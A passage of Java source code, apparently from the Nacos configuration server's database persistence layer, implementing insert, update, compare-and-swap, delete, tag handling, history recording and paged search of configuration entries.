configInfoMapper.insert(\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"src_ip\", \"src_user\",\n                        \"gmt_create@NOW()\", \"gmt_modified@NOW()\", \"c_desc\", \"c_use\", \"effect\", \"type\", \"c_schema\",\n                        \"encrypted_data_key\"));\n        PreparedStatement ps = connection.prepareStatement(insertSql, configInfoMapper.getPrimaryKeyGeneratedKeys());\n        ps.setString(1, configInfo.getDataId());\n        ps.setString(2, configInfo.getGroup());\n        ps.setString(3, tenantTmp);\n        ps.setString(4, appNameTmp);\n        ps.setString(5, configInfo.getContent());\n        ps.setString(6, md5Tmp);\n        ps.setString(7, srcIp);\n        ps.setString(8, srcUser);\n        ps.setString(9, desc);\n        ps.setString(10, use);\n        ps.setString(11, effect);\n        ps.setString(12, type);\n        ps.setString(13, schema);\n        ps.setString(14, encryptedDataKey);\n        return ps;\n    }\n    \n    @Override\n    public void addConfigTagRelationAtomic(long configId, String tagName, String dataId, String group, String tenant) {\n        try {\n            ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n            jt.update(configTagsRelationMapper.insert(\n                            Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\")), configId, tagName,\n                    StringUtils.EMPTY, dataId, group, tenant);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void addConfigTagsRelation(long configId, String configTags, String dataId, String group, String tenant) {\n        if (StringUtils.isNotBlank(configTags)) {\n            String[] tagArr = configTags.split(\",\");\n            for (int i = 0; i < tagArr.length; i++) {\n                addConfigTagRelationAtomic(configId, tagArr[i], dataId, group, tenant);\n            }\n        }\n    }\n    \n    @Override\n    public Map<String, Object> batchInsertOrUpdate(List<ConfigAllInfo> configInfoList, String srcUser, String srcIp,\n            Map<String, Object> configAdvanceInfo, SameConfigPolicy policy) throws NacosException {\n        int succCount = 0;\n        int skipCount = 0;\n        List<Map<String, String>> failData = null;\n        List<Map<String, String>> skipData = null;\n        for (int i = 0; i < configInfoList.size(); i++) {\n            ConfigAllInfo configInfo = configInfoList.get(i);\n            try {\n                ParamUtils.checkParam(configInfo.getDataId(), configInfo.getGroup(), \"datumId\",\n                        configInfo.getContent());\n            } catch (NacosException e) {\n                LogUtil.DEFAULT_LOG.error(\"data verification failed\", e);\n                throw e;\n            }\n            ConfigInfo configInfo2Save = new ConfigInfo(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant(), configInfo.getAppName(), configInfo.getContent());\n            configInfo2Save.setEncryptedDataKey(\n                    configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey());\n            String type = determineConfigType(configInfo);\n            if (configAdvanceInfo == null) {\n                configAdvanceInfo = new HashMap<>(16);\n            }\n            configAdvanceInfo.put(\"type\", type);\n            configAdvanceInfo.put(\"desc\", configInfo.getDesc());\n            boolean success;\n            try {\n                ConfigOperateResult configOperateResult = addConfigInfo(srcIp, srcUser, configInfo2Save,\n                        configAdvanceInfo);\n                success = configOperateResult.isSuccess();\n            } catch (DataIntegrityViolationException ive) {\n                success = false;\n            }\n            if (success) {\n                succCount++;\n            } else {\n                if (SameConfigPolicy.ABORT.equals(policy)) {\n                    failData = new ArrayList<>();\n                    skipData = new ArrayList<>();\n                    Map<String, String> failedItem = new HashMap<>(2);\n                    failedItem.put(\"dataId\", configInfo2Save.getDataId());\n                    failedItem.put(\"group\", configInfo2Save.getGroup());\n                    failData.add(failedItem);\n                    for (int j = (i + 1); j < configInfoList.size(); j++) {\n                        ConfigInfo skipConfigInfo = configInfoList.get(j);\n                        Map<String, String> skipItem = new HashMap<>(2);\n                        skipItem.put(\"dataId\", skipConfigInfo.getDataId());\n                        skipItem.put(\"group\", skipConfigInfo.getGroup());\n                        skipData.add(skipItem);\n                        skipCount++;\n                    }\n                    break;\n                } else if (SameConfigPolicy.SKIP.equals(policy)) {\n                    skipCount++;\n                    if (skipData == null) {\n                        skipData = new ArrayList<>();\n                    }\n                    Map<String, String> skipItem = new HashMap<>(2);\n                    skipItem.put(\"dataId\", configInfo2Save.getDataId());\n                    skipItem.put(\"group\", configInfo2Save.getGroup());\n                    skipData.add(skipItem);\n                } else if (SameConfigPolicy.OVERWRITE.equals(policy)) {\n                    succCount++;\n                    updateConfigInfo(configInfo2Save, srcIp, srcUser, configAdvanceInfo);\n                }\n            }\n        }\n        Map<String, Object> result = new HashMap<>(4);\n        result.put(\"succCount\", succCount);\n        result.put(\"skipCount\", skipCount);\n        if (failData != null && !failData.isEmpty()) {\n            result.put(\"failData\", failData);\n        }\n        if (skipData != null && !skipData.isEmpty()) {\n            result.put(\"skipData\", skipData);\n        }\n        return result;\n    }\n    \n    private String determineConfigType(ConfigAllInfo configInfo) {\n        String type = configInfo.getType();\n        if (StringUtils.isBlank(type)) {\n            if (configInfo.getDataId().contains(SPOT)) {\n                String extName = configInfo.getDataId().substring(configInfo.getDataId().lastIndexOf(SPOT) + 1);\n                FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(extName);\n                type = fileTypeEnum.getFileType();\n            } else {\n                type = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(null).getFileType();\n            }\n        }\n        return type;\n    }\n    \n    @Override\n    public void removeConfigInfo(final String dataId, final String group, final String tenant, final String srcIp,\n            final String srcUser) {\n        tjt.execute(new TransactionCallback<Boolean>() {\n            final Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            @Override\n            public Boolean doInTransaction(TransactionStatus status) {\n                try {\n                    ConfigAllInfo oldConfigAllInfo = findConfigAllInfo(dataId, group, tenant);\n                    if (oldConfigAllInfo != null) {\n                        removeConfigInfoAtomic(dataId, group, tenant, srcIp, srcUser);\n                        removeTagByIdAtomic(oldConfigAllInfo.getId());\n                        if (!CONFIG_MIGRATE_FLAG.get()) {\n                            historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo.getId(),\n                                    oldConfigAllInfo, srcIp, srcUser, time, \"D\", Constants.FORMAL, null,\n                                    ConfigExtInfoUtil.getExtInfoFromAllInfo(oldConfigAllInfo));\n                        }\n                    }\n                } catch (CannotGetJdbcConnectionException e) {\n                    LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                    throw e;\n                }\n                return Boolean.TRUE;\n            }\n        });\n    }\n    \n    @Override\n    public List<ConfigAllInfo> removeConfigInfoByIds(final List<Long> ids, final String srcIp, final String srcUser) {\n        if (CollectionUtils.isEmpty(ids)) {\n            return null;\n        }\n        ids.removeAll(Collections.singleton(null));\n        return tjt.execute(new TransactionCallback<List<ConfigAllInfo>>() {\n            final Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            @Override\n            public List<ConfigAllInfo> doInTransaction(TransactionStatus status) {\n                try {\n                    String idsStr = StringUtils.join(ids, StringUtils.COMMA);\n                    List<ConfigAllInfo> oldConfigAllInfoList = findAllConfigInfo4Export(null, null, null, null, ids);\n                    if (!CollectionUtils.isEmpty(oldConfigAllInfoList)) {\n                        removeConfigInfoByIdsAtomic(idsStr);\n                        for (ConfigAllInfo configAllInfo : oldConfigAllInfoList) {\n                            removeTagByIdAtomic(configAllInfo.getId());\n                            historyConfigInfoPersistService.insertConfigHistoryAtomic(configAllInfo.getId(),\n                                    configAllInfo, srcIp, srcUser, time, \"D\", Constants.FORMAL, null,\n                                    ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo));\n                        }\n                    }\n                    return oldConfigAllInfoList;\n                } catch (CannotGetJdbcConnectionException e) {\n                    LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                    throw e;\n                }\n            }\n        });\n    }\n    \n    @Override\n    public void removeTagByIdAtomic(long id) {\n        try {\n            ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n            jt.update(configTagsRelationMapper.delete(Collections.singletonList(\"id\")), id);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void removeConfigInfoAtomic(final String dataId, final String group, final String tenant, final String srcIp,\n            final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            jt.update(configInfoMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")), dataId, group,\n                    tenantTmp);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void removeConfigInfoByIdsAtomic(final String ids) {\n        if (StringUtils.isBlank(ids)) {\n            return;\n        }\n        List<Long> paramList = new ArrayList<>();\n        String[] idArr = ids.split(\",\");\n        for (int i = 0; i < idArr.length; i++) {\n            paramList.add(Long.parseLong(idArr[i]));\n        }\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.IDS, paramList);\n        MapperResult result = configInfoMapper.removeConfigInfoByIdsAtomic(context);\n        try {\n            jt.update(result.getSql(), result.getParamList().toArray());\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            final Map<String, Object> configAdvanceInfo) {\n        return tjt.execute(status -> {\n            try {\n                ConfigAllInfo oldConfigAllInfo = findConfigAllInfo(configInfo.getDataId(), configInfo.getGroup(),\n                        configInfo.getTenant());\n                if (oldConfigAllInfo == null) {\n                    if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                        LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                                configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                    }\n                    return new ConfigOperateResult(false);\n                }\n                \n                String appNameTmp = oldConfigAllInfo.getAppName();\n                /*\n                 If the appName passed by the user is not empty, use the persistent user's appName,\n                 otherwise use db; when emptying appName, you need to pass an empty string\n                 */\n                if (configInfo.getAppName() == null) {\n                    configInfo.setAppName(appNameTmp);\n                }\n                updateConfigInfoAtomic(configInfo, srcIp, srcUser, configAdvanceInfo);\n                String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n                if (configTags != null) {\n                    // delete all tags and then recreate\n                    removeTagByIdAtomic(oldConfigAllInfo.getId());\n                    addConfigTagsRelation(oldConfigAllInfo.getId(), configTags, configInfo.getDataId(),\n                            configInfo.getGroup(), configInfo.getTenant());\n                }\n                if (!CONFIG_MIGRATE_FLAG.get()) {\n                    Timestamp now = new Timestamp(System.currentTimeMillis());\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo.getId(),\n                            oldConfigAllInfo, srcIp, srcUser, now, \"U\", Constants.FORMAL, null,\n                            ConfigExtInfoUtil.getExtInfoFromAllInfo(oldConfigAllInfo));\n                }\n                return getConfigInfoOperateResult(configInfo.getDataId(), configInfo.getGroup(),\n                        configInfo.getTenant());\n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    private ConfigOperateResult getConfigInfoOperateResult(String dataId, String group, String tenant) {\n        ConfigInfoStateWrapper configInfoLast = this.findConfigInfoState(dataId, group, tenant);\n        if (configInfoLast == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfoLast.getId(), configInfoLast.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfoCas(final ConfigInfo configInfo, final String srcIp,\n            final String srcUser, final Map<String, Object> configAdvanceInfo) {\n        return tjt.execute(status -> {\n            try {\n                ConfigAllInfo oldAllConfigInfo = findConfigAllInfo(configInfo.getDataId(), configInfo.getGroup(),\n                        configInfo.getTenant());\n                if (oldAllConfigInfo == null) {\n                    if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                        LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                                configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                    }\n                    return new ConfigOperateResult(false);\n                }\n                String appNameTmp = oldAllConfigInfo.getAppName();\n                /*\n                 If the appName passed by the user is not empty, use the persistent user's appName,\n                 otherwise use db; when emptying appName, you need to pass an empty string\n                 */\n                if (configInfo.getAppName() == null) {\n                    configInfo.setAppName(appNameTmp);\n                }\n                int rows = updateConfigInfoAtomicCas(configInfo, srcIp, srcUser, configAdvanceInfo);\n                if (rows < 1) {\n                    return new ConfigOperateResult(false);\n                }\n                String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n                if (configTags != null) {\n                    // delete all tags and then recreate\n                    removeTagByIdAtomic(oldAllConfigInfo.getId());\n                    addConfigTagsRelation(oldAllConfigInfo.getId(), configTags, configInfo.getDataId(),\n                            configInfo.getGroup(), configInfo.getTenant());\n                }\n                \n                if (!CONFIG_MIGRATE_FLAG.get()) {\n                    Timestamp now = new Timestamp(System.currentTimeMillis());\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(oldAllConfigInfo.getId(),\n                            oldAllConfigInfo, srcIp, srcUser, now, \"U\", Constants.FORMAL, null,\n                            ConfigExtInfoUtil.getExtInfoFromAllInfo(oldAllConfigInfo));\n                }\n                \n                ConfigInfoStateWrapper configInfoLast = this.findConfigInfoState(configInfo.getDataId(),\n                        configInfo.getGroup(), configInfo.getTenant());\n                if (configInfoLast == null) {\n                    return new ConfigOperateResult(false);\n                }\n                return new ConfigOperateResult(configInfoLast.getId(), configInfoLast.getLastModified());\n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n        });\n    }\n    \n    private int updateConfigInfoAtomicCas(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            Map<String, Object> configAdvanceInfo) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE);\n        String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        try {\n            MapperContext context = new MapperContext();\n            context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n            context.putUpdateParameter(FieldConstant.MD5, md5Tmp);\n            context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n            context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n            context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n            // Only update c_desc when desc is not null (empty string will also update)\n            if (desc != null) {\n                context.putUpdateParameter(FieldConstant.C_DESC, desc);\n            }\n            context.putUpdateParameter(FieldConstant.C_USE, use);\n            context.putUpdateParameter(FieldConstant.EFFECT, effect);\n            context.putUpdateParameter(FieldConstant.TYPE, type);\n            context.putUpdateParameter(FieldConstant.C_SCHEMA, schema);\n            context.putUpdateParameter(FieldConstant.ENCRYPTED_DATA_KEY, encryptedDataKey);\n            context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n            context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n            \n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            MapperResult mapperResult = configInfoMapper.updateConfigInfoAtomicCas(context);\n            return jt.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void updateConfigInfoAtomic(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            Map<String, Object> configAdvanceInfo) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            \n            // Build update columns and parameters dynamically\n            List<String> updateColumns = new ArrayList<>(Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \n                    \"gmt_modified@NOW()\", \"app_name\"));\n            List<Object> updateParams = new ArrayList<>(Arrays.asList(configInfo.getContent(), md5Tmp, srcIp, \n                    srcUser, appNameTmp));\n            \n            // Only update c_desc when desc is not null (empty string will also update)\n            if (desc != null) {\n                updateColumns.add(\"c_desc\");\n                updateParams.add(desc);\n            }\n            updateColumns.addAll(Arrays.asList(\"c_use\", \"effect\", \"type\", \"c_schema\", \"encrypted_data_key\"));\n            updateParams.addAll(Arrays.asList(use, effect, type, schema, encryptedDataKey));\n            \n            // Add where parameters\n            updateParams.addAll(Arrays.asList(configInfo.getDataId(), configInfo.getGroup(), tenantTmp));\n            \n            jt.update(configInfoMapper.update(updateColumns, Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")), \n                    updateParams.toArray());\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public long findConfigMaxId() {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        \n        MapperResult mapperResult = configInfoMapper.findConfigMaxId(null);\n        try {\n            return jt.queryForObject(mapperResult.getSql(), Long.class);\n        } catch (NullPointerException e) {\n            return 0;\n        }\n    }\n    \n    @Override\n    public ConfigInfo findConfigInfo(long id) {\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            return this.jt.queryForObject(configInfoMapper.select(\n                    Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\"),\n                    Collections.singletonList(\"id\")), new Object[] {id}, CONFIG_INFO_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigInfoWrapper findConfigInfo(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            return this.jt.queryForObject(configInfoMapper.select(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"type\",\n                                    \"encrypted_data_key\", \"gmt_modified\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")),\n                    new Object[] {dataId, group, tenantTmp}, CONFIG_INFO_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public Page<ConfigInfo> findConfigInfo4Page(final int pageNo, final int pageSize, final String dataId,\n            final String group, final String tenant, final Map<String, Object> configAdvanceInfo) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        PaginationHelper<ConfigInfo> helper = createPaginationHelper();\n        final String appName = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"appName\");\n        final String content = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"content\");\n        final String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n        MapperResult sql;\n        MapperResult sqlCount;\n        \n        final MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n        if (StringUtils.isNotBlank(dataId)) {\n            context.putWhereParameter(FieldConstant.DATA_ID, dataId);\n        }\n        if (StringUtils.isNotBlank(group)) {\n            context.putWhereParameter(FieldConstant.GROUP_ID, group);\n            \n        }\n        if (StringUtils.isNotBlank(appName)) {\n            context.putWhereParameter(FieldConstant.APP_NAME, appName);\n        }\n        if (!StringUtils.isBlank(content)) {\n            context.putWhereParameter(FieldConstant.CONTENT, content);\n        }\n        context.setStartRow((pageNo - 1) * pageSize);\n        context.setPageSize(pageSize);\n        \n        if (StringUtils.isNotBlank(configTags)) {\n            String[] tagArr = configTags.split(\",\");\n            context.putWhereParameter(FieldConstant.TAG_ARR, tagArr);\n            ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n            sqlCount = configTagsRelationMapper.findConfigInfo4PageCountRows(context);\n            sql = configTagsRelationMapper.findConfigInfo4PageFetchRows(context);\n        } else {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            \n            sqlCount = configInfoMapper.findConfigInfo4PageCountRows(context);\n            sql = configInfoMapper.findConfigInfo4PageFetchRows(context);\n        }\n        try {\n            Page<ConfigInfo> page = helper.fetchPageLimit(sqlCount, sql, pageNo, pageSize, CONFIG_INFO_ROW_MAPPER);\n            for (ConfigInfo configInfo : page.getPageItems()) {\n                Pair<String, String> pair = EncryptionHandler.decryptHandler(configInfo.getDataId(),\n                        configInfo.getEncryptedDataKey(), configInfo.getContent());\n                configInfo.setContent(pair.getSecond());\n            }\n            return page;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \", e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public int configInfoCount() {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        String sql = configInfoMapper.count(null);\n        Integer result = jt.queryForObject(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public int configInfoCount(String tenant) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenant);\n        MapperResult mapperResult = configInfoMapper.configInfoLikeTenantCount(context);\n        Integer result = jt.queryForObject(mapperResult.getSql(), mapperResult.getParamList().toArray(), Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public List<String> getTenantIdList(int page, int pageSize) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        int from = (page - 1) * pageSize;\n        MapperResult mapperResult = configInfoMapper.getTenantIdList(new MapperContext(from, pageSize));\n        return jt.queryForList(mapperResult.getSql(), mapperResult.getParamList().toArray(), String.class);\n    }\n    \n    @Override\n    public List<String> getGroupIdList(int page, int pageSize) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        int from = (page - 1) * pageSize;\n        MapperResult mapperResult = configInfoMapper.getGroupIdList(new MapperContext(from, pageSize));\n        return jt.queryForList(mapperResult.getSql(), mapperResult.getParamList().toArray(), String.class);\n    }\n    \n    @Override\n    public Page<ConfigInfoWrapper> findAllConfigInfoFragment(final long lastMaxId, final int pageSize,\n            boolean needContent) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext(0, pageSize);\n        context.putContextParameter(ContextConstant.NEED_CONTENT, String.valueOf(needContent));\n        context.putWhereParameter(FieldConstant.ID, lastMaxId);\n        MapperResult select = configInfoMapper.findAllConfigInfoFragment(context);\n        PaginationHelper<ConfigInfoWrapper> helper = createPaginationHelper();\n        try {\n            return helper.fetchPageLimit(select.getSql(), select.getParamList().toArray(), 1, pageSize,\n                    CONFIG_INFO_WRAPPER_ROW_MAPPER);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public Page<ConfigInfo> findConfigInfoLike4Page(final int pageNo, final int pageSize, final String dataId,\n            final String group, final String tenant, final Map<String, Object> configAdvanceInfo) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        final String appName = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"appName\");\n        final String content = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"content\");\n        final String types = Optional.ofNullable(configAdvanceInfo).map(e -> (String) e.get(ParametersField.TYPES))\n                .orElse(null);\n        final String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n        PaginationHelper<ConfigInfo> helper = createPaginationHelper();\n        MapperResult sqlCountRows;\n        MapperResult sqlFetchRows;\n        \n        MapperContext context = new MapperContext((pageNo - 1) * pageSize, pageSize);\n        context.putWhereParameter(FieldConstant.TENANT_ID, generateLikeArgument(tenantTmp));\n        \n        if (!StringUtils.isBlank(dataId)) {\n            context.putWhereParameter(FieldConstant.DATA_ID, generateLikeArgument(dataId));\n        }\n        if (!StringUtils.isBlank(group)) {\n            context.putWhereParameter(FieldConstant.GROUP_ID, generateLikeArgument(group));\n        }\n        if (!StringUtils.isBlank(appName)) {\n            context.putWhereParameter(FieldConstant.APP_NAME, appName);\n        }\n        if (!StringUtils.isBlank(content)) {\n            context.putWhereParameter(FieldConstant.CONTENT, generateLikeArgument(content));\n        }\n        if (StringUtils.isNotBlank(types)) {\n            String[] typesArr = types.split(Symbols.COMMA);\n            context.putWhereParameter(FieldConstant.TYPE, typesArr);\n        }\n        \n        if (StringUtils.isNotBlank(configTags)) {\n            String[] tagArr = configTags.split(\",\");\n            for (int i = 0; i < tagArr.length; i++) {\n                tagArr[i] = generateLikeArgument(tagArr[i]);\n            }\n            context.putWhereParameter(FieldConstant.TAG_ARR, tagArr);\n            ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n            sqlCountRows = configTagsRelationMapper.findConfigInfoLike4PageCountRows(context);\n            sqlFetchRows = configTagsRelationMapper.findConfigInfoLike4PageFetchRows(context);\n        } else {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            sqlCountRows = configInfoMapper.findConfigInfoLike4PageCountRows(context);\n            sqlFetchRows = configInfoMapper.findConfigInfoLike4PageFetchRows(context);\n        }\n        \n        try {\n            Page<ConfigInfo> page = helper.fetchPageLimit(sqlCountRows, sqlFetchRows, pageNo, pageSize,\n                    CONFIG_INFO_ROW_MAPPER);\n            \n            for (ConfigInfo configInfo : page.getPageItems()) {\n                Pair<String, String> pair = EncryptionHandler.decryptHandler(configInfo.getDataId(),\n                        configInfo.getEncryptedDataKey(), configInfo.getContent());\n                configInfo.setContent(pair.getSecond());\n            }\n            return page;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<ConfigInfoStateWrapper> findChangeConfig(final Timestamp startTime, long lastMaxId,\n            final int pageSize) {\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            \n            